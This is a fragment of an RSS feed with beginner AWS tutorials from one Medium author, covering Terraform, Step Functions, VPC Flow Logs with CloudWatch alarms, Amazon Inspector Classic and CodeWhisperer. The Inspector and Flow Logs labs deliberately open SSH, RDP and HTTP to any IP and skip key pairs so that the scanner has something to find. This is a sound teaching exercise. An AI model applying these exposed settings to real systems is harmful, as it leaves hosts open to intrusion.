src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /></figure><p><em>Note: I have deleted the key after taking a screenshot of it. You should protect the access key/secret with your life unless you want someone to misuse it and get you a huge bill from AWS.</em></p><p>Now we will set the environment variables AWS_ACCESS_KEY_ID, and AWS_SECRET_ACCESS_KEY with the values from the keys you just created.</p><pre>export AWS_ACCESS_KEY_ID=&quot;access-key-id&quot;<br>export AWS_SECRET_ACCESS_KEY=&quot;access-key-secret&quot;</pre><p>Now we will install the Terraform. I am using a Mac so I can simply install Terraform with Brew. Windows and Linux users can install it using <a href="https://developer.hashicorp.com/terraform/tutorials/aws-get-started/install-cli">Terraform documentation</a>.</p><pre>brew install terraform</pre><p>That is all. Now you are ready to deploy the Terraform configuration to create AWS resources.</p><p>Clone the git repo with the Terraform code. (I assume that you have git installed). Open the Terminal/Power shell on your laptop.</p><pre>git clone https://github.com/akhileshmishrabiz/master-devops-project<br>cd master-devops-project # Switching to the downloaded folder.<br>cd project-1<br>ls</pre><p>Let’s run Terraform commands now</p><pre>terraform plan</pre><p>It will not deploy the code, it will only list the resources it will be creating.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*03MXyqI3maDv4e1n.png" /></figure><p>‘+’ means it will add the resource<br>‘-’ means it will remove the resource<br>‘~’ means it will update the resources.</p><p>Now run the apply command.</p><pre>terraform apply</pre><p>It will ask you to confirm. Type ‘yes’ and it will go ahead and create all AWS resources in a fly. You can tell Terraform not to ask for confirmation by using the <em>auto-approve </em>flag.</p><pre>terraform apply --auto-approve</pre><p>You go to the AWS console and verify.</p><p>Last but not least, destroy all the resources to avoid unintended costs.</p><pre>terraform destroy<br>or terraform destroy --auto-apporve</pre><blockquote><em>If you enjoyed the writing leave your claps 👏 to recommend this article so that others can see it.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c0aa91daa376" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Streamlining Data Workflows with AWS Step Functions]]></title>
            <link>https://medium.com/@Brian_Bange/streamlining-data-workflows-with-aws-step-functions-cfc97b2142b0?source=rss-d9d06d9d059b------2</link>
            <guid isPermaLink="false">https://medium.com/p/cfc97b2142b0</guid>
            <dc:creator><![CDATA[Brian Bange]]></dc:creator>
            <pubDate>Tue, 16 Jan 2024 19:48:15 GMT</pubDate>
            <atom:updated>2024-01-23T17:42:42.887Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*abVz-XCJAmYxZ9O2.png" /></figure><p>In today’s digital world, managing complex workflows efficiently is vital for any business leveraging cloud services. AWS Step Functions offer a strong solution for orchestrating multiple AWS services into streamlined, serverless workflows. This articles aims to introduce beginners to the concept of AWS Step Functions and how they can be used to automate complex processes in a simple, scalable manner.</p><p>AWS Step Functions is a serverless function orchestrator that makes it easy to sequence AWS Lambda functions and multiple AWS services into automated workflows. Whether you’re processing data, managing microservices, or orchestrating IT operations, Step Functions offers a reliable and efficient way to coordinate these components.</p><h3>Core Concepts</h3><ul><li><strong>State Machines: </strong>A state machine is a workflow that defines a set of states and the transitions between them. Each state represents a step in the workflow and can perform different functions, like running AWS Lambda functions, submitting jobs, making decisions, and more.</li><li><strong>Tasks: </strong>These are the individual units of work in a state machine. A task performs work by using an activity or an AWS service (like Lambda, ECS, or SNS), and then passes the output to the next state.</li><li><strong>Service Integration:</strong> Step Functions seamlessly integrate with various AWS services, allowing you to orchestrate complex workflows involving services like AWS Lambda, Amazon SNS, Amazon SQS, and more.</li><li><strong>Synchronous and Asynchronous Executions:</strong> Step Functions support both synchronous and asynchronous executions, enabling you to design workflows that fit your application’s needs.</li></ul><h3>Advanced Features</h3><ul><li><strong>Parallel States: </strong>This feature allows you to design workflows that execute multiple branches of logic in parallel. It’s particularly useful for scenarios where tasks can be processed simultaneously, significantly speeding up the overall workflow.</li><li><strong>Choice States:</strong> These states add decision-making capability to your workflows. Based on the input, a choice state can route the execution to different paths, allowing for conditional logic within your workflow.</li><li><strong>Wait States:</strong> These states delay the workflow for a specified period or until a certain time. They are useful for scenarios where you need to wait for a specific event or time before proceeding.</li><li><strong>Catch and Retry Mechanisms:</strong> AWS Step Functions provide strong error handling mechanisms. You can define catch blocks to handle errors and specify retry policies for tasks, ensuring your workflows are resilient and reliable.</li></ul><h3>Use Cases and Applications</h3><ul><li><strong>Data Processing: </strong>Step Functions can automate complex data processing workflows, like ETL (Extract, Transform, Load) jobs, data validation, and batch processing.</li><li><strong>Application Integration: </strong>It’s ideal for orchestrating microservices, coordinating distributed applications, and managing inter-service communication.</li><li><strong>IT Automation: </strong>Automate IT processes such as software deployments, system updates, and resource provisioning.</li><li><strong>Machine Learning Workflows:</strong> Orchestrate machine learning pipelines, from data preprocessing and training to model deployment and inference.</li></ul><p>By harnessing the power of AWS Step Functions, businesses can design highly efficient, scalable, and reliable workflows. The service reduces the complexity typically associated with managing stateful, long-running processes, especially in a cloud environment where services and resources need to interact seamlessly.</p><p>Embarking on your journey with AWS Step Functions begins with building a simple workflow. Here, we’ll construct a workflow that involves a Lambda function for data processing and an SNS topic for notifications. This example is designed to demonstrate the core functionalities of AWS Step Functions in an easy-to-understand manner.</p><h3>Prerequisites</h3><p>Before we start, ensure you have the following:</p><ul><li>An active AWS account.</li><li>Basic familiarity with AWS services like Lambda and SNS (Simple Notification Service).</li><li>AWS IAM (Identity and Access Management) permissions to create and manage Lambda functions, SNS topics, and Step Functions.</li></ul><h3>Step 1: Create a Lambda Function</h3><p>First, we need a Lambda function to perform a task in our workflow. In this example, our Lambda function will simulate a data processing task.</p><ol><li><strong>Navigate to the AWS Lambda Console and select “Create function.”</strong></li><li><strong>Set Up Your Function:</strong></li></ol><ul><li>Name your function, e.g., DataProcessingFunction.</li><li>Choose an execution role that grants the function permissions to access necessary AWS services.</li><li>Write a simple Python function that mimics data processing:</li></ul><pre>import json</pre><pre>def lambda_handler(event, context):<br> # Simulate data processing<br> print(&quot;Processing data...&quot;)<br> return {<br> &#39;statusCode&#39;: 200,<br> &#39;body&#39;: json.dumps(&#39;Data processing completed successfully!&#39;)<br> }</pre><h3>Step 2: Set Up an Amazon SNS Topic</h3><ol><li><strong>Go to the Amazon SNS Console and select “Create topic.”</strong></li><li><strong>Configure Your Topic:</strong></li></ol><ul><li>Name your topic, e.g., DataProcessingNotification.</li><li>Keep the default settings and create the topic.</li><li>Note down the ARN (Amazon Resource Name) of the topic for later use.</li></ul><p>Next, create an SNS topic for sending notifications after data processing.</p><ol><li><strong>Open the AWS Step Functions Console and choose “Create state machine.”</strong></li><li><strong>Design the Workflow:</strong></li></ol><ul><li>Select the “Author with code snippets” option.</li><li>Define the state machine using Amazon States Language (ASL). Here’s a simple example:</li><li>Replace REGION and ACCOUNT_ID with your AWS region and account ID.</li><li>The ProcessData state invokes the Lambda function, and upon completion, the workflow transitions to the SendNotification state, which publishes a message to the SNS topic.</li></ul><h3>Step 3: Design the Workflow in AWS Step Functions</h3><ul><li>Once your state machine is defined, save it and grant necessary IAM roles.</li><li>Start an execution of your state machine and input a sample JSON event if required.</li><li>Monitor the execution in the AWS Step Functions Console.</li></ul><p>Now, let’s create a workflow that connects the Lambda function and SNS topic.</p><pre>{<br> &quot;Comment&quot;: &quot;A simple AWS Step Functions state machine that processes data and sends a notification.&quot;,<br> &quot;StartAt&quot;: &quot;ProcessData&quot;,<br> &quot;States&quot;: {<br> &quot;ProcessData&quot;: {<br> &quot;Type&quot;: &quot;Task&quot;,<br> &quot;Resource&quot;: &quot;arn:aws:lambda:REGION:ACCOUNT_ID:function:DataProcessingFunction&quot;,<br> &quot;Next&quot;: &quot;SendNotification&quot;<br> },<br> &quot;SendNotification&quot;: {<br> &quot;Type&quot;: &quot;Task&quot;,<br> &quot;Resource&quot;: &quot;arn:aws:sns:REGION:ACCOUNT_ID:DataProcessingNotification&quot;,<br> &quot;End&quot;: true<br> }<br> }<br>}</pre><p>3. <strong>Test and Execute the Workflow:</strong></p><p>By exploring this example, you can gain a foundational understanding of how AWS Step Functions orchestrates various AWS services into an efficient, automated workflow. Remember, the key takeaway is to grasp the overarching concept and flow of Step Functions, rather than focusing on the minutiae of each step. Familiarity with these concepts is essential for effectively leveraging AWS Step Functions in real-world scenarios.</p><p>AWS Step Functions is a potent tool for orchestrating complex workflows in the cloud. This guide has walked you through the basics, practical application, and best practices, demonstrating how Step Functions streamline the coordination of various AWS services. Ideal for beginners, it offers a scalable, efficient way to automate processes, from data handling to microservices management. Embracing AWS Step Functions can significantly enhance your cloud operations, allowing you to focus on innovation while it handles the orchestration complexity.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cfc97b2142b0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Network Visibility: A Practical Guide to AWS VPC Flow Logs and CloudWatch Monitoring.]]></title>
            <link>https://medium.com/@Brian_Bange/network-visibility-a-practical-guide-to-aws-vpc-flow-logs-and-cloudwatch-monitoring-dbbfc3f996ed?source=rss-d9d06d9d059b------2</link>
            <guid isPermaLink="false">https://medium.com/p/dbbfc3f996ed</guid>
            <dc:creator><![CDATA[Brian Bange]]></dc:creator>
            <pubDate>Sat, 30 Dec 2023 20:47:27 GMT</pubDate>
            <atom:updated>2024-01-15T10:46:50.609Z</atom:updated>
            <content:encoded><![CDATA[<p>AWS VPC Flow Logs provide a detailed record of the network traffic within your VPC, offering valuable insights into communication patterns, potential security threats, and overall network health. When combined with CloudWatch, AWS’s monitoring and management service, these logs become a powerful tool for real-time analysis, alerting, and performance optimization.</p><p>Throughout this blog, we will explore the usage of AWS VPC Flow Logs and CloudWatch for effective network monitoring from a security perspective to secure and monitor network traffic in AWS. Let’s embark on a practical exploration of Network Visibility in the AWS cloud.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*_QuxFgBhZJNJ2BEb.png" /></figure><p>Sign in to the AWS Management Console as an IAM user with Administrator access.</p><h3>Create a VPC and its resources</h3><p>Amazon Virtual Private Cloud (Amazon VPC) lets you provision a logically isolated section of the AWS Cloud where you can launch AWS resources in a virtual network that you define.</p><ol><li>Create a VPC.</li><li>In the services menu, go to VPC. Select your VPCs and select <strong>Create VPC</strong>.</li><li>Specify the name as <strong>LabVPC</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*wsCivSQIXnw4WQNF.png" /></figure><p>4. Enter the CIDR block as <strong>10.0.0.0/24</strong>.</p><p>5. Leave everything as default then choose <strong>Create VPC</strong></p><p><strong><em>Create Subnet.</em></strong></p><ol><li>Specify the name as <strong>LabSubnet</strong>.</li><li>Select <strong>us-east-1a</strong> as the availability zone.</li><li>Specify IPv4 CIDR Block of <strong>10.0.0.0/26</strong></li><li>Choose <strong>Create Subnet</strong>.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*MoFm6SJ2kNWK3D0_.png" /></figure><p><strong><em>Create Internet Gateway.</em></strong></p><ol><li>Go to the Internet Gateway section on the left then choose Internet Gateway.</li><li>Specify the name as <strong>LabIGW</strong>.</li><li>Choose Create Internet Gateway.</li><li>Once created attach it to our VPC.</li></ol><p><strong><em>Create a Route table</em></strong>.</p><ol><li>Click on the Route tables sections on the left part of the side panel.</li><li>Choose the main route table associated with the <strong>LabVPC</strong>.</li></ol><p>3. Click on the <strong>Routes</strong> tab and click on the <strong>Edit Route</strong> s button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*q_jQ-gSem5PNJbfC.png" /></figure><p>4. Add a Route, enter the destination as <strong>0.0.0.0/0</strong>, and target select the target as the <strong>Internet Gateway</strong> we created. Choose <strong>Save Changes</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*5xIQ0I-axiWdExrP.png" /></figure><h3>Create VPC Flow Logs and Cloudwatch</h3><p>AWS <strong>CloudWatch</strong> is a performance monitoring tool for AWS services.</p><p>2. Choose <strong>Create Log group</strong>.</p><p>3. Specify the name as <strong>Lab-Log-Group</strong></p><p>4. Retention setting: <strong>Never expire</strong>.</p><p>5. Choose Create.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*LvkOEQhegAy4GAue.png" /></figure><p>6. Confirm it has been created.</p><p><strong><em>Create Flow log</em></strong></p><p>VPC Flow Logs is a feature that enables you to capture information about the IP traffic going to and from network interfaces in your VPC. Also, VPC Flow Logs provide detailed information about the network traffic flowing in and out of your VPC. VPC Flow Logs do not capture the content of the actual data being transmitted. This means that sensitive information or payload data is not recorded, ensuring data privacy and compliance with various regulations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*eXb89Cdf94j5eNx0.png" /></figure><p>2. Specify the Following:</p><ul><li>Name: <strong>my-flowlog-cloudwatch</strong></li><li>Filter: <strong>All</strong></li><li>maximum aggreagation interval: <strong>1 minute.</strong></li><li>Destination: <strong>Send to cloudwatch logs</strong></li><li>For the IAM Role: Create a role with the following permissions, and attach it.</li></ul><pre>{<br>    &quot;Version&quot;: &quot;2012-10-17&quot;,<br>    &quot;Statement&quot;: [<br>        {<br>            &quot;Action&quot;: [<br>                &quot;logs:CreateLogGroup&quot;,<br>                &quot;logs:CreateLogStream&quot;,<br>                &quot;logs:PutLogEvents&quot;,<br>                &quot;logs:DescribeLogGroups&quot;,<br>                &quot;logs:Describe*&quot;,<br>                &quot;logs:DescribeLogStreams&quot;<br>            ],<br>            &quot;Effect&quot;: &quot;Allow&quot;,<br>            &quot;Resource&quot;: &quot;*&quot;<br>        }<br>    ]<br>}</pre><ul><li>Destination log group: <strong>Send to cloudwatch logs.</strong></li><li>Choose <strong>Create Flow log</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*kuZQlIgT8E2khVdR.png" /></figure><h3>Create an EC2 Instance.</h3><p>In this task, we will launch an EC2 instance in the public subnet where traffic will be generated by the VPC flow logs. We will ping the EC2 instance through EC2 instance connect so as to generate logs.</p><p><strong>Create Security group</strong>.</p><ul><li>Name: LabSG</li><li>VPC: LabVPC</li><li>Add a new rule, under the inbound rule type select <strong>SSH</strong>, Source <strong>Anywhere IPv4.</strong></li><li>AMI: <strong>Amazon Linux</strong></li><li>Type: t2.micro</li><li><strong>Proceed without a key pair</strong>.</li><li>VPC: LabVPC which we are using.</li><li>Auto-assign public IP choose to <strong>enable</strong>.</li><li><strong>Security groups: LabSG</strong> which we created earlier.</li><li>Launch Instance</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*wELWiLmijllAp_nY.png" /></figure><p><strong><em>SSH into the EC2 instance via Instance Connect.</em></strong></p><p>2. Launch an EC2 instance.</p><ol><li>Click on <strong>Connect</strong> to go to the terminal.</li><li>Run <strong>ping google.com</strong></li><li>Enter <strong>Ctrl+C</strong> to terminate the process.</li><li><strong>Copy the IP address of google.com</strong></li></ol><p>We will ping the Google server in order to generate logs and send the logs to cloudwatch Log Group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*EbvdqE8OiTvOGOy3.png" /></figure><p>5. Head over to Cloudwatch Log Group.</p><p>6. Click on Lab-log-Group.</p><p>7. Click on the eni-xxxx log stream</p><p>8. In the Log events search for the log by entering the Google IP address we copied. Mark the entries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*TzG-OiQQA3nfCOv6.png" /></figure><h3>Configure CloudWatch Metric Filter and CloudWatch Alarm to monitor traffic</h3><ol><li>Go to network ACLs in the VPC dashboard.</li><li>Choose the network ACl that is associated with our Public Subnet.</li><li>Under Outbound rules, select Edit Outbound rules</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*2N9PEruTrgxVw9eF.png" /></figure><p>In this task, we will first deny ICMP traffic in the Network ACLs. After that, set up a metric filter that monitors the traffic from the EC2 instance. This metric filter is further configured with a CloudWatch alarm that sends out an email via SNS notifications whenever a rejected ping is detected.</p><p>4. Click on <strong>Add New Rule</strong>.</p><p>5. Add rule Number 50. Select Type as <strong>All ICMP-IPV4</strong>. Select <strong>Deny</strong>. Choose <strong>Save Changes</strong>.</p><p>6. Head over to our Log group in cloudwatch.</p><p>7. Under Metric filters tab, Click on Create metric filter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ggxsd28u5evvQTFd.png" /></figure><p>8. Enter filter patterns as follows:</p><pre>[version, account, eni, source, destination, srcport, destport, protocol=&quot;1&quot;, packets, bytes, starttime, endtime, action=&quot;REJECT&quot;, flowlogstatus]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*MjAacwBJC5woRoKe.png" /></figure><p>9. Test pattern, Select custom Log data, and Log event messages input the following log event messages.</p><pre>2 898009780581 eni-02900ac2fc00ea81d 10.0.0.11 45.76.22.189 56711 123 1 1 76 1632806231 1632806281 ACCEPT OK<br>2 898009780581 eni-02900ac2fc00ea81d 162.142.125.74 10.0.0.11 59544 9129 1 1 44 1632806231 1632806281 REJECT OK<br>2 898009780581 eni-02900ac2fc00ea81d 193.242.145.15 10.0.0.11 50598 22333 1 1 40 1632806231 1632806281 REJECT OK<br>2 898009780581 eni-02900ac2fc00ea81d 162.159.200.1 10.0.0.11 123 41433 1 1 76 1632806231 1632806281 ACCEPT OK</pre><p>10. Click on the test pattern. It shows rejected results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*dv_9EZtVX4GPFULS.png" /></figure><ul><li>Enter the Filter name as <strong>Ping-deny-metrics</strong>.</li><li>Metric namespace: <strong>Ping-deny-metrics</strong></li><li>Metric name: <strong>Ping-deny</strong>.</li><li>Metric value: 1</li><li>Click Create <strong>Metric filter</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*G_Ljb3v7aKqRsUS6.png" /></figure><p>11. Click on next. <strong>Create filter name:</strong></p><p>12. Once created, choose the ping deny metrics checkbox, and click on <strong>Create Alarm</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*h5Tuc_tBXp3P7dCR.png" /></figure><p>13. It will open in a new tab and then enter the following values:</p><ul><li>Metric name: <strong>Ping-Deny</strong></li><li>Statistic: <strong>Sum</strong></li><li>Period: <strong>1 Minute</strong></li><li>Condition: <strong>≥</strong></li><li>Enter: <strong>1</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*0Gh2SDcIJQpsD9pp.png" /></figure><ul><li>Alarm state trigger: <strong>In Alarm</strong></li><li>SNS topic: <strong>Create new topic</strong></li><li>Enter topic name as <strong>CloudWatch_Alarms_Ping_Deny</strong>.</li><li>Email endpoint: <strong>Specify your email address.</strong></li><li>Choose <strong>create topic</strong></li><li>Click Next</li><li>Alarm Name: <strong>CloudWatch_Alarm_Ping_Deny</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*xb3n0Z6HwmkzZLNO.png" /></figure><p>14. Under condition:Alarm state trigger: <strong>In Alarm</strong></p><ul><li>SNS topic: <strong>Create new topic</strong></li><li>Enter topic name as <strong>CloudWatch_Alarms_Ping_Deny</strong>.</li><li>Email endpoint: <strong>Specify your email address.</strong></li><li>Choose <strong>create topic</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Fxq-kf_eWMZVz81q.png" /></figure><ul><li>Click Next</li><li>Alarm Name: <strong>CloudWatch_Alarm_Ping_Deny</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*P6__VDqRH3RUXRCw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*T5Ea8-n0_5MOkDkx.png" /></figure><p>15. Confirm your SNS topic subscription via your email</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*X8fuERh_igEsklEb.png" /></figure><h3>Test the Alarm</h3><p>We will test by sending an ICMP request through ping.Let’s send some traffic over the ICMP protocol by ping google.com.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*_-5i7Ty9_JEwIdqV.png" /></figure><p>2. Since the NACL has a deny rule for the outbound ICMP traffic, you will not receive any response. Enter <strong>Ctrl+C</strong> to exit.</p><p>3. This would result in a <strong>REJECT</strong> event for the Cloudwatch metric filter that would trigger the Cloudwatch Alarm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*WwWOvVMceKtr24UQ.png" /></figure><p><strong>Once done delete all the resources so as to avoid costs.</strong></p><p>4. You will receive an <strong>email</strong> with details of the alarm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Zt59pWDBzFTCtLm8.png" /></figure><p>CloudWatch Alarm has been tested successfully.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dbbfc3f996ed" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Beginner’s guide to Amazon Inspector for Vulnerability Scanning(classic version)|AWS Security…]]></title>
            <link>https://medium.com/@Brian_Bange/beginners-guide-to-amazon-inspector-for-vulnerability-scanning-classic-version-aws-security-8da964dce83c?source=rss-d9d06d9d059b------2</link>
            <guid isPermaLink="false">https://medium.com/p/8da964dce83c</guid>
            <category><![CDATA[vulnerability-assessment]]></category>
            <category><![CDATA[aws-security-tools]]></category>
            <category><![CDATA[vulnerability-scanning]]></category>
            <category><![CDATA[amazon-inspector]]></category>
            <category><![CDATA[ec2-scanning]]></category>
            <dc:creator><![CDATA[Brian Bange]]></dc:creator>
            <pubDate>Thu, 28 Dec 2023 15:35:40 GMT</pubDate>
            <atom:updated>2023-12-28T15:35:40.240Z</atom:updated>
            <content:encoded><![CDATA[<h3>Beginner’s guide to Amazon Inspector for Vulnerability Scanning(classic version)|AWS Security Hands-on walkthrough.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/0*Aocvr_x_T5j4jxqh" /></figure><h4>What is Amazon Inspector?</h4><p>Amazon inspector is a vulnerability management service that continuously scans your AWS workloads for vulnerabilities .It Automatically discovers and scans amazon EC2 instances ,VPCs and container images residing in Amazon Elastic.It does automatic application assessments for vulnerabilities or deviations from best practices and produces a detailed list of security findings prioritised by level of severity .These findings can be reviewed directly or as part of detailed assessment reports that are available in the Amazon Inspector console or API.</p><p>Amazon inspector has two types of assessments.</p><ul><li><em>Network assessments </em>-Network configuration analysis to check for port reachable from outside the VPC .Here inspector agent is not required.</li><li><em>Host assessments -</em>vulnerable software(CVE),host hardening (CIS Benchmarks)and security best practices.An inspector agent is required.</li></ul><p><em>What is Amazon inspector classic?</em><a href="https://docs.aws.amazon.com/inspector/v1/userguide/inspector_introduction.html">https://docs.aws.amazon.com/inspector/v1/userguide/inspector_introduction.html</a></p><h4>Steps summary.</h4><p>1. Create an EC2 instance with free tier resources .Make the instance vulnerable by allowing allowing sources IPs from anywhere for ssh,rdp,http etc as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wi8Kh78yuFgCQnFSOurW1g.png" /></figure><p>when creating the instance proceed without a key pair .</p><p>2. Go to the Amazon Inspector widget.Activate it and allow assessments for Ec2 instances only.Allow it time to perform the scans and later analyse the findings to give output as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v1oXZ4idBQgLMLQuZVlPSw.png" /></figure><p>3.Lastly go back to your security groups and edit the inbound rules to remove vulnerabilities on the instance and perform a scan again using Amazon Inspector .</p><h4>Summary</h4><p>In<strong> conclusion</strong>, conducting vulnerability scans using Amazon Inspector on a vulnerable EC2 instance has been demonstrated as a crucial step in fortifying your cloud infrastructure. The simplicity of the walkthrough presented here serves as a foundational guide for users to understand the basic steps involved in identifying and addressing potential security risks.</p><p>However, it’s important to acknowledge that real-world cloud architectures are often more intricate, involving complex network configurations, multiple instances, and diverse security groups. As such, extending the scope of vulnerability scans to encompass these complex environments becomes imperative for comprehensive security.</p><p>The article has provided a solid starting point for users to build upon, emphasizing the significance of not only securing individual instances but also evaluating the security posture of the entire cloud environment. The flexibility and scalability of Amazon Inspector make it well-suited for addressing the evolving nature of cloud architectures, allowing users to adapt their vulnerability scanning strategies as their infrastructure grows and transforms.</p><p>As cloud security continues to be a top priority, users are encouraged to explore advanced features, automation, and integration possibilities offered by Amazon Inspector to enhance the efficacy of vulnerability management in their AWS environments. By incorporating best practices and staying informed about emerging threats, organizations can proactively safeguard their assets and maintain a resilient and secure cloud infrastructure.</p><p>find me on Linkedin at <a href="https://www.linkedin.com/in/brian-bange-34a725241/">https://www.linkedin.com/in/brian-bange-34a725241/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8da964dce83c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Closer Look at Amazon CodeWhisperer.]]></title>
            <link>https://medium.com/@Brian_Bange/a-closer-look-at-amazon-codewhisperer-2d96fda890e7?source=rss-d9d06d9d059b------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d96fda890e7</guid>
            <dc:creator><![CDATA[Brian Bange]]></dc:creator>
            <pubDate>Tue, 26 Dec 2023 03:25:32 GMT</pubDate>
            <atom:updated>2024-01-15T10:36:37.958Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*DqiyQxEDVXnxncQN.png" /></figure><p>Amazon CodeWhisperer is a coding companion designed to enhance developer efficiency and productivity. It does that by giving you code recommendations based on your natural language code comments, then you write code.</p><p>CodeWhisperer suggestions are generated through large language models (LLMs) trained on billions of lines of code including Amazon code and publicly available code.</p><p>Using CodeWhisperer, developers can streamline their coding workflow and reduce the need for frequent context switching among the IDE, documentation, and developer forums. With real-time code recommendations from CodeWhisperer, developers can maintain their focus in the IDE and complete coding tasks more efficiently.</p><h3>Which programming languages and IDEs does CodeWhisperer support?</h3><p><strong>Programming Languages</strong></p><p>Code whisperer supports several programming languages such as Java, Python, C#, Ruby, Go, Shell, Javascript, Typescript, PHP, SQL, Kotlin, Rust, Scala, C++, C, etc.</p><p><strong>In IDEs</strong></p><p>It supports IDEs such as Jupyter Lab, AWS Cloud9, JetBrains, VS code, Studio Maker, and the AWS Lambda Console.</p><h3>Benefits of Using CodeWhisperer.</h3><ol><li><strong>Optimized for AWS APIs<br></strong>Code whisperer has been best optimized for AWS services through AWS APIs such as Amazon EC2, Amazon S3, and AWS Lambda.</li><li><strong>Accelerates Coding Tasks<br></strong>It helps reduce the development effort required by which developers dedicate more time to building exceptional software rather than repetitive tasks.</li><li><strong>Enhanced application security.<br></strong>CodeWhisperer can be able to scan for hard-to-find vulnerabilities such as those in the top 10 OWASP or AWS internal security best practices.</li><li><strong>Generate Functions<br></strong>Enhance code quality and generate complete functions and logical code blocks. You don’t need to search for and customize code snippets from external sources on the web. You can quickly accept the top suggestion (tab key), view more suggestions (arrow keys), or continue writing your code.</li><li><strong>Write Unit tests.<br></strong>It speeds up implementing unit tests. It efficiently incorporates logic for most of the explicit unit tests requested and offers suggestions for edge cases that might not have been considered.</li><li><strong>Use of AI responsibly.<br></strong>CodeWhisperer helps ensure that you are coding responsibly by first generating original code. Then, it identifies whether that code is similar to known open-source code. You can decide if you want to include it in your project and provide proper attribution and license compliance. You can also opt not to have CodeWhisperer provide these suggestions.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/0*IZDrsYdYoxhaSrwT.png" /></figure><h3>Basic IDE Keyboard Shortcuts</h3><ol><li>Accept a recommendation-<strong> Tab</strong></li><li>Reject a recommendation- <strong>ESC</strong></li><li>Next recommendation- <strong>Right Arrow</strong></li><li>Invoke CodeWhisperer- <strong>Windows: Alt + C , MacOS: Option + C</strong></li><li>Previous recommendation- <strong>Left Arrow</strong></li><li>Pause Auto Suggestions- <strong>In the AWS Toolkit Developer Tools panel, select Pause Auto-Suggestions. If you want to receive them again, select Resume Auto-Suggestion.</strong></li></ol><h3>Setting Up CodeWhisperer in Your IDE</h3><p>The following <a href="https://docs.aws.amazon.com/codewhisperer/latest/userguide/setting-up.html"><strong>Link</strong></a> describes the steps you need to take before using CodeWhisperer <strong>as a developer</strong> for the first time.</p><h3>Is CodeWhisperer Free?</h3><p>Generally, CodeWhisperer Offers two tiers: <strong>Individual tier and Professional tier.</strong></p><p><strong>For Individual tier</strong>- In this tier, helps individual developers quickly start using CodeWhisperer by signing up with an email address and an AWS Builder ID. No need to have an AWS Account and there is no charge for using CodeWhispere through Builder ID. <strong>Learn more About AWS Builder ID setup </strong><a href="https://docs.aws.amazon.com/signin/latest/userguide/create-aws_builder_id.html"><strong>HERE</strong></a></p><p><strong>Professional Tier-</strong> It offers expanded capabilities for organizations. It includes organizational license management for administrators to control access to CodeWhisperer for developers in the organization centrally and also organizational policy management.</p><h3>Prompt Engineering in CodeWhisperer</h3><pre># Create a function to create a DynamoDB table</pre><pre># Function to create a DynamoDB table with employee ID as primary key and ReadCapacityUnits at 100 and WriteCapacityUnits at 200</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_JwWnzlJ3tjvfXUR.gif" /></figure><p><strong>Output</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LxQJxn58xF3ovPIx.gif" /></figure><pre># Function to validate an email address using a regular expression</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4GHO7KPydrhujJpf.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d96fda890e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
